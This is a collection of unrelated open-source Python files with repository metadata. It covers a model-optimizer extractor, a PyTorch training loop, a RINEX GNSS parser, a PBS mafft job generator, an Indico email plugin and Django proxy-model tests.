the model } def caffe_extractor(node: Node, lowered_keys_map: dict) -> (bool, dict): if node.has_valid('op') and node.op == 'Identity': return True, {} result = common_caffe_fields(node) supported = False name = None layer_type = result['type'].lower() if layer_type in lowered_keys_map: layer_type = lowered_keys_map[layer_type] assert layer_type in caffe_type_extractors name = layer_type if name: # it is either standard or registered via CustomLayersMapping.xml attrs = caffe_type_extractors[name](node) # intentionally as Python registry if not found returns None if attrs is not None: result.update(attrs) supported = True if not supported: raise Error('Found custom layer "{}". Model Optimizer does not support this layer. '.format(node.id) + 'Please, implement extension. ' + refer_to_faq_msg(45)) if 'infer' not in result or not result['infer']: result.update(native_caffe_node_extractor(node)) phase_attr = check_phase(node) result.update(phase_attr) return supported, result def check_phase(node: Node): if node.has_valid('pb') and hasattr(node.pb, 'include'): for i in node.pb.include: if hasattr(i, 'phase'): return {'phase': i.phase} return {} def register_caffe_python_extractor(op: Op, name: str = None): if not name and hasattr(op, 'op'): name = op.op if not name: raise Error("Can not register Op {}. Please, call function 'register_caffe_python_extractor'" "with parameter 'name' .".format(op), refer_to_faq_msg(87)) CaffePythonFrontExtractorOp.registered_ops[name] = lambda node: extension_op_extractor(node, op)
[ "openvino_pushbot@intel.com" ]
openvino_pushbot@intel.com
7360c2ab796b4c4587e67ecf831de16dd660d59d
e92c1b2262c9e868b714166f191077e69464c93e
/access.py
e546d3c594edcdc22a5456c1cb5757a202358124
[]
no_license
manpages/py-ken
b5588a09bee35096f5a7d1ba700928fb68321621
248e73429ee51cf5b29f3146e247e125657f5c3d
refs/heads/master
2016-09-11T03:29:45.678924
2015-02-08T15:18:42
2015-02-08T15:18:42
28,929,896
0
1
null
2015-01-18T12:19:46
2015-01-07T19:24:18
Python
UTF-8
Python
false
false
104
py
def getCageId(field, x, y): for (id,c) in field['cage']: if (x, y) in c['cells']: return id
[ "amarr.industrial@gmail.com" ]
amarr.industrial@gmail.com
24e60d5e6ab4bd5e2bb4c8fbc73fed26abb5cbe7
f445450ac693b466ca20b42f1ac82071d32dd991
/generated_tempdir_2019_09_15_163300/generated_part003815.py
5e5bdd4608ad234dd7dc490f41749f64838b0581
[]
no_license
Upabjojr/rubi_generated
76e43cbafe70b4e1516fb761cabd9e5257691374
cd35e9e51722b04fb159ada3d5811d62a423e429
refs/heads/master
2020-07-25T17:26:19.227918
2019-09-15T15:41:48
2019-09-15T15:41:48
208,357,412
4
1
null
null
null
null
UTF-8
Python
false
false
1,296
py
from sympy.abc import * from matchpy.matching.many_to_one import CommutativeMatcher from matchpy import * from matchpy.utils import VariableWithCount from collections import deque from multiset import Multiset from sympy.integrals.rubi.constraints import * from sympy.integrals.rubi.utility_function import * from sympy.integrals.rubi.rules.miscellaneous_integration import * from sympy import * class CommutativeMatcher66552(CommutativeMatcher): _instance = None patterns = { 0: (0, Multiset({}), [ (VariableWithCount('i2.2.2.1.0', 1, 1, None), Mul), (VariableWithCount('i2.2.2.1.0_1', 1, 1, S(1)), Mul) ]) } subjects = {} subjects_by_id = {} bipartite = BipartiteGraph() associative = Mul max_optional_count = 1 anonymous_patterns = set() def __init__(self): self.add_subject(None) @staticmethod def get(): if CommutativeMatcher66552._instance is None: CommutativeMatcher66552._instance = CommutativeMatcher66552() return CommutativeMatcher66552._instance @staticmethod def get_match_iter(subject): subjects = deque([subject]) if subject is not None else deque() subst0 = Substitution() # State 66551 return yield from collections import deque
[ "franz.bonazzi@gmail.com" ]
franz.bonazzi@gmail.com
48cf0d99548b0c502a76b53d898f7255565a280b
c46a3177866d72d6230016c23db797d207f15ada
/scripts/py/all_mafft.py
5b4eff56e181fc08c79f495ed3a4835bd96099b8
[]
no_license
nknyazeva/course_work_5
4e560eb649a6506d35b1541527e29e0a4b9d2a7f
fb633557afc8685ff8c0a924a3f56b48a5134685
refs/heads/master
2020-07-25T11:33:27.167210
2019-11-06T16:52:25
2019-11-06T16:52:25
208,275,183
0
0
null
null
null
null
UTF-8
Python
false
false
770
py
in_dir = '/home/nknyazeva/courseWork5/data/result/pn_ps/' out_dir = '/home/nknyazeva/courseWork5/scripts/pn_ps_mafft/' def getPutFileName(name): name = name[:-6] name = name + '_align_mafft.afa' return name for i in range(75): i = str(i) if len(i) < 2: i = '0' + i name_file_in = in_dir + 'pn_ps_file_name_100.' + i name_file_out = out_dir + 'mafft_100.' + i + '.sh' with open(name_file_in, 'r')as file_in: with open(name_file_out, 'w') as file_out: file_out.write('#!/bin/bash\n#PBS -l walltime=100:00:00\n#PBS -d .\n') for line in file_in: name_out_file = getPutFileName(line.strip()) file_out.write('mafft %s > %s \n \n' % (line.strip(), name_out_file))
[ "knjasewa-nastja@yandex.ru" ]
knjasewa-nastja@yandex.ru
e3c58ee32730862e029e9a35c0e4bfde4659c4af
b7e3b6133f58cb75f82652e241ad048edbcff969
/imitation_learning/generic_training.py
4bb862bf2996f9eff8c519b885636bf3b434e52c
[]
no_license
e-lab/GameMatch
faf9a3ab54255ac35dcfc1612c1c30ab9186f923
fc5f751509c904f900e39c0340efd10dd5e0df02
refs/heads/master
2021-04-30T22:38:12.630607
2018-11-18T22:08:39
2018-11-18T22:08:39
70,605,678
2
3
null
null
null
null
UTF-8
Python
false
false
8,118
py
''' Author: Ruihang Du Description: Functions for training and evaluating any neural network models Inspired by the PyTorch ImageNet example https://github.com/pytorch/examples/blob/master/imagenet/main.py ''' import torch import torch.nn as nn from torch.autograd import Variable import torch.optim from torch.nn.utils import clip_grad_norm_ import time from datetime import timedelta def train(model, rnn, train_loader, val_loader, batch_size, criterion, optimizer, \ target_accr=None, err_margin=(0.01, 0.01), best_accr=(0, 0), topk=(1, 5), lr_decay=0.1, \ saved_epoch=0, log='train.csv', pname='model.pth', cuda=True): device = 'cuda' if cuda else 'cpu' meters = {} for i in topk: meters[i] = AverageMeter() # log activity in the log file with open(log, 'a') as f: f.write(time.strftime('%b/%d/%Y %H:%M:%S', time.localtime()) + '\n') f.write('epoches, ' + ','.join(['top{}'.format(i) for i in topk]) + '\n') # resume epoch num_epoch = saved_epoch # interval of evaluating performance epoch = 5 # total number of data points in the dataset num_data = len(train_loader) * batch_size # if does not have a target accuracy, train to convergence if target_accr is None: # the accuracy obtained in the last round of training old_accr = best_accr while True: model.eval() result = tuple(validate(model, rnn, batch_size, val_loader, topk, cuda)) # if the current accuracy is better than the best accuracy if len(list(filter(lambda t: t[0] > t[1], zip(best_accr, result)))) == 0: torch.save({ 'params':model.state_dict(), \ 'optim':optimizer.state_dict(), \ 'epoch':num_epoch}, pname) with open(log, 'a') as f: f.write(str(num_epoch) + \ ',' + ','.join([str(r) for r in result]) + '\n') for i, r in enumerate(result): if target_accr is None: # if not converge, continue training if r - old_accr[i] > err_margin[i]: break elif target_accr[i] - r > err_margin[i]: break else: with open(log, 'a') as f: f.write(time.strftime('%b/%d/%Y %H:%M:%S', time.localtime()) + '\n') break # update the old accuracy to current accuracy if target_accr is None: old_accr = result model.train() for e in range(epoch): for i in topk: meters[i].reset() # print('Validating ', end='', flush=True) print('Training on {} data'.format(num_data)) if rnn: # set init state for lstm # 1 batch, 1 layer h0 = Variable(torch.zeros(1, 1, 8)).to(device) c0 = Variable(torch.zeros(1, 1, 8)).to(device) states = (h0, c0) for i, data in enumerate(train_loader, 0): index = 0 inputs, labels = data # labels = torch.stack(labels) # print(inputs.size(), labels.size()) if rnn: inputs, labels = inputs.squeeze(0), labels.squeeze() # wrap inputs and labels in variables inputs, labels = Variable(inputs).to(device), \ Variable(labels).to(device) # zero the param gradient optimizer.zero_grad() model.zero_grad() # forward + backward + optimize if rnn: # detach previous states from the graph to truncate backprop states = [state.detach() for state in states] outputs, states = model(inputs, states) else: outputs = model(inputs) # print(outputs.size(), labels.size()) loss = criterion(outputs, labels) result = accuracy(outputs.data, labels.data, topk) for j, k in enumerate(meters.keys()): meters[k].update(result[j][0], inputs.size(0)) loss.backward() if rnn: # clip gradients to avoid gradient explosion or vanishing clip_grad_norm_(model.parameters(), 0.5) # update parameters optimizer.step() if i % 20 == 0: print("Progress {:2.1%}".format(i * batch_size / num_data), end="\r") print(loss) grad = torch.cat([p.grad.view(1,-1).squeeze().cpu() for p in model.parameters()]) # print(torch.histc(gradients, bins=10, max=0.01, min=-0.01)) print('max: %.5f\tmin: %.5f\tmean: %.7f\tmedian: %.2f' % (grad.max(), grad.min(), \ grad.mean(), grad.median())) print('Epoch: [{0}]\t'.format(e)) for k in meters.keys(): print(' * Prec@{i} {topi.avg:.3f}%' .format(i=k, topi=meters[k])) num_epoch += 1 # decrement learning rate if num_epoch % 10 == 0: for p in optimizer.param_groups: if p['lr'] > 1e-7: p['lr'] *= (lr_decay ** (num_epoch/10)) print('change lr to {}'.format(p['lr'])) def validate(model, rnn, batch_size, val_loader, topk=(1, 5), cuda=True): device = 'cuda' if cuda else 'cpu' # torch.cuda.set_device(0) meters = {} for i in topk: meters[i] = AverageMeter() # switch to evaluate mode model.eval() start = time.time() num_data = len(val_loader) * batch_size # print('Validating ', end='', flush=True) print('Validating on {} data'.format(num_data)) if rnn: # init states h0 = Variable(torch.zeros(1, 1, 8), requires_grad=False).to(device) c0 = Variable(torch.zeros(1, 1, 8), requires_grad=False).to(device) states = (h0, c0) for i, (input, target) in enumerate(val_loader): input = input.to(device) target = target.to(device) if rnn: input = input.squeeze(0) target = target.squeeze() input_var = Variable(input) target_var = Variable(target) # input_var, target_var = input_var.squeeze(0), target_var.squeeze(0) # print(input_var.size(), target_var.size()) if rnn: output, states = model(input_var, states) else: output = model(input_var) # measure accuracy result = accuracy(output.data, target, topk) for j, k in enumerate(meters.keys()): meters[k].update(result[j][0], input.size(0)) if i % 20 == 0: # print('.', end='', flush=True) print("Progress {:2.1%}".format(i * batch_size / num_data), end="\r") time_elapse = time.time() - start print('\ninference time:', str(timedelta(seconds=time_elapse))) for k in meters.keys(): print(' * Prec@{i} {topi.avg:.3f}%' .format(i=k, topi=meters[k])) return (meters[k].avg for k in meters.keys()) class AverageMeter(object): """Computes and stores the average and current value""" def __init__(self): self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count def accuracy(output, target, topk=(1,)): """Computes the precision@k for the specified values of k""" batch_size = target.size(0) maxk = max(topk) _, pred = output.topk(maxk, 1, True, True) pred = pred.t() correct = pred.eq(target.view(1, -1).expand_as(pred)) res = [] for k in topk: correct_k = correct[:k].view(-1).float().sum(0, keepdim=True) res.append(correct_k.mul_(100.0 / batch_size)) return res
[ "du113@purdue.edu" ]
du113@purdue.edu
82b9d2923b901208ab629e15f0eb68ab639cb8f1
237cb5a6de7d58fd15826c87f44ccb96d2ba7959
/Material2/rinex2.py
d42551d030fff9a5db40dfaeaa6f867c3573df26
[]
no_license
walterscorpionblade/Research_JumpOccurance
d5152379715d75f915bcff15a333bcfb5d3d2054
691264195a1ca1c537d0456c50aea3e528c8f456
refs/heads/master
2020-08-14T05:25:17.085894
2019-10-14T17:37:45
2019-10-14T17:37:45
215,105,423
0
0
null
null
null
null
UTF-8
Python
false
false
13,240
py
import numpy from numpy import array, nan, datetime64 from datetime import datetime # RINEX 2.10 - 2.11 CONSTELLATION_IDS = { 'G': 'GPS', 'R': 'GLONASS', 'E': 'Galileo', 'S': 'SBAS', } # RINEX version 2 does not distinguish tracking modes (added in RINEX V3) # As such, for GPS, simple signal names L1, L2, L5 are used OBSERVATION_DATATYPES = { 'GPS': { 'C1': {'signal': 'L1', 'name': 'pseudorange'}, 'P1': {'signal': 'L1', 'name': 'pseudorange'}, 'L1': {'signal': 'L1', 'name': 'carrier'}, 'D1': {'signal': 'L1', 'name': 'doppler'}, 'S1': {'signal': 'L1', 'name': 'snr'}, 'C2': {'signal': 'L2', 'name': 'pseudorange'}, 'P2': {'signal': 'L2', 'name': 'pseudorange'}, 'L2': {'signal': 'L2', 'name': 'carrier'}, 'D2': {'signal': 'L2', 'name': 'doppler'}, 'S2': {'signal': 'L2', 'name': 'snr'}, 'C5': {'signal': 'L5', 'name': 'pseudorange'}, 'P5': {'signal': 'L5', 'name': 'pseudorange'}, 'L5': {'signal': 'L5', 'name': 'carrier'}, 'D5': {'signal': 'L5', 'name': 'doppler'}, 'S5': {'signal': 'L5', 'name': 'snr'}, }, 'GLONASS': { 'C1': {'signal': 'L1', 'name': 'pseudorange'}, 'P1': {'signal': 'L1', 'name': 'pseudorange'}, 'L1': {'signal': 'L1', 'name': 'carrier'}, 'D1': {'signal': 'L1', 'name': 'doppler'}, 'S1': {'signal': 'L1', 'name': 'snr'}, 'C2': {'signal': 'L2', 'name': 'pseudorange'}, 'P2': {'signal': 'L2', 'name': 'pseudorange'}, 'L2': {'signal': 'L2', 'name': 'carrier'}, 'D2': {'signal': 'L2', 'name': 'doppler'}, 'S2': {'signal': 'L2', 'name': 'snr'}, }, 'Galileo': { 'C1': {'signal': 'E1', 'name': 'pseudorange'}, 'L1': {'signal': 'E1', 'name': 'carrier'}, 'D1': {'signal': 'E1', 'name': 'doppler'}, 'S1': {'signal': 'E1', 'name': 'snr'}, 'C5': {'signal': 'E5a', 'name': 'pseudorange'}, 'L5': {'signal': 'E5a', 'name': 'carrier'}, 'D5': {'signal': 'E5a', 'name': 'doppler'}, 'S5': {'signal': 'E5a', 'name': 'snr'}, 'C7': {'signal': 'E5b', 'name': 'pseudorange'}, 'L7': {'signal': 'E5b', 'name': 'carrier'}, 'D7': {'signal': 'E5b', 'name': 'doppler'}, 'S7': {'signal': 'E5b', 'name': 'snr'}, 'C8': {'signal': 'E5ab', 'name': 'pseudorange'}, 'L8': {'signal': 'E5ab', 'name': 'carrier'}, 'D8': {'signal': 'E5ab', 'name': 'doppler'}, 'S8': {'signal': 'E5ab', 'name': 'snr'}, 'C6': {'signal': 'E6', 'name': 'pseudorange'}, 'L6': {'signal': 'E6', 'name': 'carrier'}, 'D6': {'signal': 'E6', 'name': 'doppler'}, 'S6': {'signal': 'E6', 'name': 'snr'}, }, 'SBAS': { 'C1': {'signal': 'L1', 'name': 'pseudorange'}, 'L1': {'signal': 'L1', 'name': 'carrier'}, 'D1': {'signal': 'L1', 'name': 'doppler'}, 'S1': {'signal': 'L1', 'name': 'snr'}, 'C5': {'signal': 'L5', 'name': 'pseudorange'}, 'L5': {'signal': 'L5', 'name': 'carrier'}, 'D5': {'signal': 'L5', 'name': 'doppler'}, 'S5': {'signal': 'L5', 'name': 'snr'}, }, } def parse_RINEX2_header(lines): ''' ------------------------------------------------------------ Given list of lines corresponding to the header of a RINEX 3 file, parses the header of the file and returns a dictionary containing the header information. Input ----- `lines` -- lines corresponding to RINEX header Output ------ dictionary containing RINEX header information ''' header = {} header['comments'] = [] lines = iter(lines) try: while True: line = next(lines) header_label = line[60:].strip() if header_label == 'RINEX VERSION / TYPE': header['version'] = line[:20].strip() header['type'] = line[20:60].strip() elif header_label == 'PGM / RUN BY / DATE': header['program'] = line[:20].strip() header['run_by'] = line[20:40].strip() header['date'] = line[40:60].strip() elif header_label == 'MARKER NAME': header['marker_name'] = line[:60].strip() elif header_label == 'MARKER NUMBER': header['marker_number'] = line[:60].strip() elif header_label == 'OBSERVER / AGENCY': header['observer'] = line[:20].strip() header['agency'] = line[20:60].strip() elif header_label == 'REC # / TYPE / VERS': header['receiver_number'] = line[:20].strip() header['receiver_type'] = line[20:40].strip() header['receiver_version'] = line[40:60].strip() elif header_label == 'ANT # / TYPE': header['antenna_number'] = line[:20].strip() header['antenna_type'] = line[20:60].strip() elif header_label == 'APPROX POSITION XYZ': header['approximate_position_xyz'] = line[:60].strip() elif header_label == 'ANTENNA: DELTA H/E/N': header['delta_hen'] = line[:60].strip() elif header_label == 'APPROX POSITION XYZ': header['approximate_position_xyz'] = line[:60].strip() elif header_label == 'WAVELENGTH FACT L1/2': header['wavelength_fact_l12'] = line[:60].strip() elif header_label == 'APPROX POSITION XYZ': header['approximate_position_xyz'] = line[:60].strip() elif header_label == 'TIME OF FIRST OBS': header['time_of_first_obs'] = line[:60].strip() elif header_label == '# / TYPES OF OBSERV': n_obs_str = line[:10].strip() if n_obs_str: header['n_obs'] = int(n_obs_str) header['obs_types'] = [] header['obs_types'] += line[10:60].split() elif header_label == 'COMMENT': header['comments'].append(line[:60]) except StopIteration: pass return header def parse_RINEX2_obs_data(lines, observations, century=2000): ''' ------------------------------------------------------------ Given `lines` corresponding to the RINEX observation file data (non-header) lines, and a list of the types of observations recorded at each epoch, produces a dictionary containing the observation time and values for each satellite. Input ----- `lines` -- data lines from RINEX observation file `observations` -- list of the observations reported at each epoch Output ------ `data` -- dictionary of format: {<sat_id>: {'index': [<int...>], <obs_id>: [<values...>]}} `time` -- list of times (datetime64) corresponding to epochs ''' data = {} # <sat_id>: {'index': [<int...>], <obs_id>: [<values...>]} lines = iter(lines) epoch_index = 0 time = [] try: while True: # at each epoch, the two-digit year, month, day, hour, minute, and seconds # of the measurement epoch are specified, along with the number and ids of # the satellites whose measurements are given line = next(lines) yy = int(line[:4].strip()) year = century + yy month = int(line[4:7]) day = int(line[7:10]) hour = int(line[10:13]) minute = int(line[13:16]) seconds = float(line[16:25]) microseconds = int(1e6 * (seconds % 1)) seconds = int(seconds) dt = datetime64(datetime(year, month, day, hour, minute, seconds, microseconds)) time.append(dt) flag = int(line[25:28]) num_sats = int(line[29:32]) # there is space for (80 - 32) / 3 = 16 satellite ids # if there are more than 16, then they continue on the next line # a general approach is to consume lines until we have determined all sat IDs sat_ids = [] line = line[32:].strip() while len(sat_ids) < num_sats: sat_ids.append(line[:3].replace(' ', '0')) line = line[3:] if line == '' and len(sat_ids) < num_sats: line = next(lines) assert(line[:32].strip() == '') line = line.strip() assert(len(line) % 3 == 0) # sanity check -- each sat ID takes 3 chars for sat_id in sat_ids: # create new entry if `sat_id` is new if sat_id not in data.keys(): data[sat_id] = {'index': []} # append time/index first, then append obs values data[sat_id]['index'].append(epoch_index) # each line of observation values contains up to 5 entries # each entry is of width 16, starting at index 0 num_lines_per_sat = 1 + len(observations) // 5 line = '' for i in range(num_lines_per_sat): line += next(lines).replace('\n', '').ljust(80) for i, obs_id in enumerate(observations): val_str = line[16 * i:16 * (i + 1)].strip() if val_str == '': continue val_str = val_str.split() if len(val_str) == 1: val_str = val_str[0] elif len(val_str) == 2: val_str, sig_flag = val_str else: assert(False) # error try: val = float(val_str) except Exception: val = nan if obs_id not in data[sat_id].keys(): data[sat_id][obs_id] = [] data[sat_id][obs_id].append(val) epoch_index += 1 except StopIteration: pass return data, time def transform_values_from_RINEX2_obs(rinex_data): ''' ------------------------------------------------------------ Transforms output from `parse_RINEX3_obs_data` to more useful format. Input: ------- `rinex_data` -- Python dictionary with format: { <sat_id>: { 'index': [<int>,...], <obs_id>: [<values...>] } } Output: ------- `data` -- dictionary in format: {<sat_id>: { 'index': ndarray, <sig_id>: { <obs_name>: ndarray } } } ''' data = {} for sat_id, rnx_sat in rinex_data.items(): if sat_id not in data.keys(): data[sat_id] = {} obs_datatypes = OBSERVATION_DATATYPES[CONSTELLATION_IDS[sat_id[0]]] for obs_id, mapping in obs_datatypes.items(): if obs_id in rnx_sat.keys(): sig_id = mapping['signal'] obs_name = mapping['name'] if sig_id not in data[sat_id].keys(): data[sat_id][sig_id] = {} data[sat_id][sig_id][obs_name] = array(rnx_sat[obs_id]) if 'index' in rnx_sat.keys(): data[sat_id]['index'] = array(rnx_sat['index'], dtype=int) return data def parse_RINEX2_obs_file(filepath): ''' ------------------------------------------------------------ Given the filepath to a RINEX observation file, parses and returns header and observation data. Input ----- `filepath` -- filepath to RINEX observation file Output ------ `header, observations` where `header` is a dictionary containing the parsed header information and `observations` is a dictionary containing the observation data in the format: { 'time': ndarray, 'satellites': { <sat_id>: { 'index': ndarray, <obs_id>: ndarray } } } Note: `time` in `observations` is in GPST seconds **Warning**: this function cannot currently handle splicing / comments in the middle of a RINEX file. ''' with open(filepath, 'r') as f: lines = list(f.readlines()) for i, line in enumerate(lines): if line.find('END OF HEADER') >= 0: break header_lines = lines[:i + 1] obs_lines = lines[i + 1:] header = parse_RINEX2_header(header_lines) if 'obs_types' not in header.keys(): raise Exception('RINEX header must contain `# / TYPES OF OBS.` and `header` dict from `parse_parse_RINEX2_header` must contain corresponding list `obs_types`') obs_data, time = parse_RINEX2_obs_data(obs_lines, header['obs_types']) obs_data = transform_values_from_RINEX2_obs(obs_data) gps_epoch = datetime64(datetime(1980, 1, 6)) time = (array(time) - gps_epoch).astype(float) / 1e6 # dt64 is in microseconds observations = {'time': time, 'satellites': obs_data} return header, observations
[ "liuzijun96@rl1-142-37-dhcp.int.colorado.edu" ]
liuzijun96@rl1-142-37-dhcp.int.colorado.edu
365ea7847009dce0a5f2ade2dbb2630f78ad335e
fcb37f2d9069e7dcb95e2c264993993aaef42528
/room_assistance/indico_room_assistance/notifications.py
0982ad42e75930c6509fa0ceb7bbf2b03db1eb92
[ "MIT" ]
permissive
mic4ael/indico-plugins-cern
56a27f5535c60765a2019a84daadd205adaeec74
814fdbb064d556763c90052879f9a909031e35c1
refs/heads/master
2021-05-07T15:07:55.673278
2019-06-28T07:46:19
2019-06-28T07:46:19
109,974,520
0
0
null
2017-11-08T12:42:27
2017-11-08T12:42:27
null
UTF-8
Python
false
false
1,871
py
# This file is part of the CERN Indico plugins. # Copyright (C) 2014 - 2019 CERN # # The CERN Indico plugins are free software; you can redistribute # them and/or modify them under the terms of the MIT License; see # the LICENSE file for more details. from __future__ import unicode_literals import dateutil.parser from indico.core.config import config from indico.core.notifications import make_email, send_email from indico.core.plugins import get_plugin_template_module from indico.modules.events.requests.models.requests import RequestState def send_email_to_assistance(request, template_name, **template_params): from indico_room_assistance.plugin import RoomAssistancePlugin to_list = RoomAssistancePlugin.settings.get('room_assistance_recipients') if not to_list: return request_start_dt = request.data['start_dt'] request_data = dict(request.data, start_dt=dateutil.parser.parse(request_start_dt)) template = get_plugin_template_module('emails/{}.html'.format(template_name), event=request.event, requested_by=request.created_by_user, request_data=request_data, **template_params) send_email(make_email(from_address=config.NO_REPLY_EMAIL, to_list=to_list, template=template, html=True)) def notify_about_new_request(request): send_email_to_assistance(request, template_name='creation_email_to_assistance') def notify_about_request_modification(request, changes): if request.state != RequestState.accepted: return send_email_to_assistance(request, template_name='modified_request_email_to_assistance', changes=changes) def notify_about_withdrawn_request(request): if request.state != RequestState.withdrawn: return send_email_to_assistance(request, template_name='withdrawn_email_to_assistance')
[ "michal.kolodziejski@cern.ch" ]
michal.kolodziejski@cern.ch
8685c85161574c016cb792309fb15c9c60c7fc1a
b5e75d3b2536b46fca649d13fbd185b926e285fc
/15.UserDefinedFunction.py
cdbcb8d40204c6ef2e2dbe727d61870733870cfd
[]
no_license
sohag2018/Python_G5_6
0333c640a3744cd4f0b7461f536de385d94e6d14
1db3eff22e5ad4dc54523dbe38d366cf85c80288
refs/heads/master
2022-09-08T22:44:51.672634
2020-05-23T22:59:06
2020-05-23T22:59:06
260,783,717
0
2
null
null
null
null
UTF-8
Python
false
false
937
py
#Why do we use function-->to reuse te code #Syntax:--->def name(arg1,arg2,...): -->argument as per needed #function for division def div(x,y):#this function will returns the result for div of two given numbers print(x/y) #function for modulas def div(x,y):#this function will returns the result for modulas of two given numbers print(x%y) def message(str): print(str) # we can also use return keyword def modulus(a,b): result=a%b return result def rarea(l,w): print("Area:",end="") return l*w #with if else def largNum(a,b): if a>b: print("LargerNum:",a) else:print("LargerNum:",b) #Let's use our function # a=10 # b=20 a=int(input("Enter 1st Num: ")) b=int(input("Enter 2nd Num: ")) add(a,b) # we ju.st call the function and pass the arg and in return we will find the sum of a and b sub(a,b) multi(a,b) div(a,b) message("Hellow") print(modulus(a,b)) print(rarea(a,b)) largNum(a,b)
[ "nafasatzayan@gmail.com" ]
nafasatzayan@gmail.com
f3815f70c32f2896f4449435b1bacfddcf8375c9
39e647e9ec8524a1cee90ef15f37a3d3bbf8ac43
/poet/trunk/pythonLibs/Django-1.3/tests/modeltests/proxy_models/models.py
30f14bc931b97f11cff5cbcf7a99bf9d15829bc7
[ "BSD-3-Clause" ]
permissive
AgileAdaptiveTools/POETTools
85158f043e73b430c1d19a172b75e028a15c2018
60244865dd850a3e7346f9c6c3daf74ea1b02448
refs/heads/master
2021-01-18T14:46:08.025574
2013-01-28T19:18:11
2013-01-28T19:18:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,229
py
""" By specifying the 'proxy' Meta attribute, model subclasses can specify that they will take data directly from the table of their base class table rather than using a new table of their own. This allows them to act as simple proxies, providing a modified interface to the data from the base class. """ from django.contrib.contenttypes.models import ContentType from django.db import models # A couple of managers for testing managing overriding in proxy model cases. class PersonManager(models.Manager): def get_query_set(self): return super(PersonManager, self).get_query_set().exclude(name="fred") class SubManager(models.Manager): def get_query_set(self): return super(SubManager, self).get_query_set().exclude(name="wilma") class Person(models.Model): """ A simple concrete base class. """ name = models.CharField(max_length=50) objects = PersonManager() def __unicode__(self): return self.name class Abstract(models.Model): """ A simple abstract base class, to be used for error checking. """ data = models.CharField(max_length=10) class Meta: abstract = True class MyPerson(Person): """ A proxy subclass, this should not get a new table. Overrides the default manager. """ class Meta: proxy = True ordering = ["name"] objects = SubManager() other = PersonManager() def has_special_name(self): return self.name.lower() == "special" class ManagerMixin(models.Model): excluder = SubManager() class Meta: abstract = True class OtherPerson(Person, ManagerMixin): """ A class with the default manager from Person, plus an secondary manager. """ class Meta: proxy = True ordering = ["name"] class StatusPerson(MyPerson): """ A non-proxy subclass of a proxy, it should get a new table. """ status = models.CharField(max_length=80) # We can even have proxies of proxies (and subclass of those). class MyPersonProxy(MyPerson): class Meta: proxy = True class LowerStatusPerson(MyPersonProxy): status = models.CharField(max_length=80) class User(models.Model): name = models.CharField(max_length=100) def __unicode__(self): return self.name class UserProxy(User): class Meta: proxy = True class UserProxyProxy(UserProxy): class Meta: proxy = True # We can still use `select_related()` to include related models in our querysets. class Country(models.Model): name = models.CharField(max_length=50) class State(models.Model): name = models.CharField(max_length=50) country = models.ForeignKey(Country) def __unicode__(self): return self.name class StateProxy(State): class Meta: proxy = True # Proxy models still works with filters (on related fields) # and select_related, even when mixed with model inheritance class BaseUser(models.Model): name = models.CharField(max_length=255) class TrackerUser(BaseUser): status = models.CharField(max_length=50) class ProxyTrackerUser(TrackerUser): class Meta: proxy = True class Issue(models.Model): summary = models.CharField(max_length=255) assignee = models.ForeignKey(TrackerUser) def __unicode__(self): return ':'.join((self.__class__.__name__,self.summary,)) class Bug(Issue): version = models.CharField(max_length=50) reporter = models.ForeignKey(BaseUser) class ProxyBug(Bug): """ Proxy of an inherited class """ class Meta: proxy = True class ProxyProxyBug(ProxyBug): """ A proxy of proxy model with related field """ class Meta: proxy = True class Improvement(Issue): """ A model that has relation to a proxy model or to a proxy of proxy model """ version = models.CharField(max_length=50) reporter = models.ForeignKey(ProxyTrackerUser) associated_bug = models.ForeignKey(ProxyProxyBug) class ProxyImprovement(Improvement): class Meta: proxy = True
[ "ssaltzman@mitre.org" ]
ssaltzman@mitre.org